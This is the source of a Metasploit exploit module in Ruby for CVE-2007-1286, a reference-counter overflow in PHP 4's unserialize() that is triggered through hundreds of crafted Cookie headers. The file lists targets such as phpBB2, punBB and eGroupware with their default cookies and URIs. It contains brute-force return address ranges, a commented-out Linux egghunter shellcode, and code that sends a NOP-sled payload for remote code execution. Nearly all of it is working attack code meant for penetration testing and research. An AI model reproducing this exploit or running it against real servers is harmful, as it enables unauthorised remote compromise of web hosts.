modules/exploits/multi/php/php_unserialize_zval_cookie.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',
'Description' => %q{
This module exploits an integer overflow vulnerability in the unserialize()
function of the PHP web server extension. This vulnerability was patched by
Stefan in version 4.5.0 and applies all previous versions supporting this function.
This particular module targets numerous web applications and is based on the proof
of concept provided by Stefan Esser. This vulnerability requires approximately 900k
of data to trigger due the multiple Cookie headers requirement. Since we
are already assuming a fast network connection, we use a 2Mb block of shellcode for
the brute force, allowing quick exploitation for those with fast networks.
One of the neat things about this vulnerability is that on x86 systems, the EDI register points
into the beginning of the hashtable string. This can be used with an egghunter to
quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction
is known. The EDI method is faster, but the bandwidth-intensive brute force used by this
module is more reliable across a wider range of systems.
},
'Author' =>
[
'hdm', # module development
'GML <grandmasterlogic[at]gmail.com>', # module development and debugging
'Stefan Esser <sesser[at]hardened-php.net>' # discovered, patched, exploited
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2007-1286'],
['OSVDB', '32771'],
['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
},
'Platform' => %w{ linux },
'Targets' =>
[
#
# 64-bit SuSE: 0x005c0000
# Backtrack 2.0: 0xb797a000
# Gentoo: 0xb6900000
#
[ 'Linux x86 Generic',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 phpBB2',
{
'DefaultCookie' => 'phpbb2mysql_data',
'DefaultURI' => '/phpBB2/faq.php',
'Signature' => /Powered\s+by.*phpBB/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 punBB',
{
'DefaultCookie' => 'punbb_cookie',
'DefaultURI' => '/index.php',
'Signature' => /Powered\s+by.*PunBB/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 WWWThreads',
{
'DefaultCookie' => 'forum_cookie',
'DefaultURI' => '/index.php',
'Signature' => /Powered\s+by.*WWWThreads/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 Deadman Redirect',
{
'DefaultCookie' => 'authcookie',
'DefaultURI' => '/dmr/dmr.php',
'Signature' => /document\.f\.userdata\.focus/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 PhpWebGallery',
{
'DefaultCookie' => 'pwg_remember',
'DefaultURI' => '/phpwebgallery/index.php',
'Signature' => /Powered\s+by.*phpwebgallery/msi,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 Ariadne-CMS',
{
'DefaultCookie' => 'ARCookie',
'DefaultURI' => '/ariadne/loader.php/',
'Signature' => /Ariadne is free software/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 ProMA',
{
'DefaultCookie' => 'proma',
'DefaultURI' => '/proma/index.php',
'Signature' => /Change Account Information/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 eGroupware',
{
'DefaultCookie' => 'eGW_remember',
'DefaultURI' => '/egroupware/login.php',
'Signature' => /www.egroupware.org/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
]
],
'DisclosureDate' => '2007-03-04'))
register_options(
[
OptString.new('URI', [false, "The path to vulnerable PHP script"]),
OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"])
])
end
def check
vprint_status("Checking for a vulnerable PHP version...")
#
# Pick the URI and Cookie name
#
cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']
if(not cookie_name)
fail_with(Failure::Unknown, "The COOKIENAME option must be set")
end
if(not uri_path)
fail_with(Failure::Unknown, "The URI option must be set")
end
res = send_request_cgi({
'uri' => uri_path,
'method' => 'GET'
}, 5)
php_bug = false
if (not res)
vprint_status("No response from the server")
return Exploit::CheckCode::Unknown # User should try again
end
http_fingerprint({ :response => res }) # check method
if (res.code != 200)
vprint_status("The server returned #{res.code} #{res.message}")
return Exploit::CheckCode::Safe
end
if (
(res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /PHP\/(.*)/) or
(res.headers['Server'] and res.headers['Server'] =~ /PHP\/(.*)/)
)
php_raw = $1
php_ver = php_raw.split('.')
if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)
vprint_status("The server runs a vulnerable version of PHP (#{php_raw})")
php_bug = true
else
vprint_status("The server runs a non-vulnerable version of PHP (#{php_raw})")
return Exploit::CheckCode::Safe
end
end
# Detect the phpBB cookie name
if res.get_cookies =~ /(.*)_(sid|data)=/
vprint_status("The server may require a cookie name of '#{$1}_data'")
end
if(target and target['Signature'])
if (res.body and res.body.match(target['Signature']))
vprint_status("Detected target #{target.name}")
else
vprint_status("Did not detect target #{target.name}")
end
end
return php_bug ? Exploit::CheckCode::Appears : Exploit::CheckCode::Detected
end
def brute_exploit(target_addrs)
zvalref = encode_semis('i:0;R:2;')
#
# Use this if we decide to do 'jmp edi' returns vs brute force
#
=begin
# Linux specific egg-hunter
tagger = "\x90\x50\x90\x50"
hunter =
"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
"\x3c\xf2\x74\xf1\xb8" +
tagger +
"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"
egghunter = "\xcc" * 39
egghunter[0, hunter.length] = hunter
hashtable = "\xcc" * 39
hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes
hashtable[20, 4] = [target_addrs['Ret']].pack('V')
hashtable[32, 4] = [target_addrs['Ret']].pack('V')
=end
#
# Just brute-force addresses for now
#
tagger = ''
egghunter = rand_text_alphanumeric(39)
hashtable = rand_text_alphanumeric(39)
hashtable[20, 4] = [target_addrs['Ret']].pack('V')
hashtable[32, 4] = [target_addrs['Ret']].pack('V')
#
# Pick the URI and Cookie name
#
cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']
if(not cookie_name)
fail_with(Failure::Unknown, "The COOKIENAME option must be set")
end
if(not uri_path)
fail_with(Failure::Unknown, "The URI option must be set")
end
# Generate and reuse the original buffer to save CPU
if (not @saved_cookies)
# Building the malicious request
print_status("Creating the request...")
# Create the first cookie header to get this started
cookie_fun = "Cookie: #{cookie_name}="
cookie_fun << Rex::Text.uri_encode(
'a:100000:{s:8:"' +
rand_text_alphanumeric(8) +
'";a:3:{s:12:"' +
rand_text_alphanumeric(12) +
'";a:1:{s:12:"' +
rand_text_alphanumeric(12) +
'";i:0;}s:12:"' +
rand_text_alphanumeric(12) +
'";'+
'i:0;s:12:"' +
rand_text_alphanumeric(12) +
'";i:0;}'
)
cookie_fun << zvalref * 500
cookie_fun << Rex::Text.uri_encode('s:2:"')
cookie_fun << "\r\n"
refcnt = 1000
refmax = 65535
# Keep adding cookie headers...
while(refcnt < refmax)
chead = 'Cookie: ';
chead << encode_semis('";N;')
# Stay within the 8192 byte limit
0.upto(679) do |i|
break if refcnt >= refmax
refcnt += 1
chead << zvalref
end
chead << encode_semis('s:2:"')
cookie_fun << chead + "\r\n"
end
# The final header, including the hashtable with return address
cookie_fun << "Cookie: "
cookie_fun << Rex::Text.uri_encode('";N;')
cookie_fun << zvalref * 500
@saved_cookies = cookie_fun
end
# Generate and reuse the payload to save CPU time
if (not @saved_payload)
@saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)
end
cookie_addrs = Rex::Text.uri_encode(
's:39:"' + egghunter + '";s:39:"'+ hashtable +'";i:0;R:3;'
) + "\r\n"
print_status("Trying address 0x%.8x..." % target_addrs['Ret'])
res = send_request_cgi({
'uri' => uri_path,
'method' => 'POST',
'raw_headers' => @saved_cookies + cookie_addrs,
'data' => @saved_payload
}, 1)
if res
failed = false
print_status("Received a response: #{res.code} #{res.message}")
if (res.code != 200)
print_error("The server returned a non-200 response, indicating that the exploit failed")
failed = true
end
if (not failed and (res.body and res.body.length > 0))
print_error("The server returned a real response, indicating that the exploit failed")
failed = true
end
if (failed)
print_status("Please verify the URI and COOKIENAME parameters.")
print_line('')
print_line("*" * 40)
print_line(res.body)
print_line("*" * 40)
print_line('')
fail_with(Failure::Unknown, "Exploit settings are probably wrong")
end
else
print_status("No response from the server")
end
end
def encode_semis(str)
str.gsub(';') { |s| sprintf("%%%.2x", s[0]) }
end
end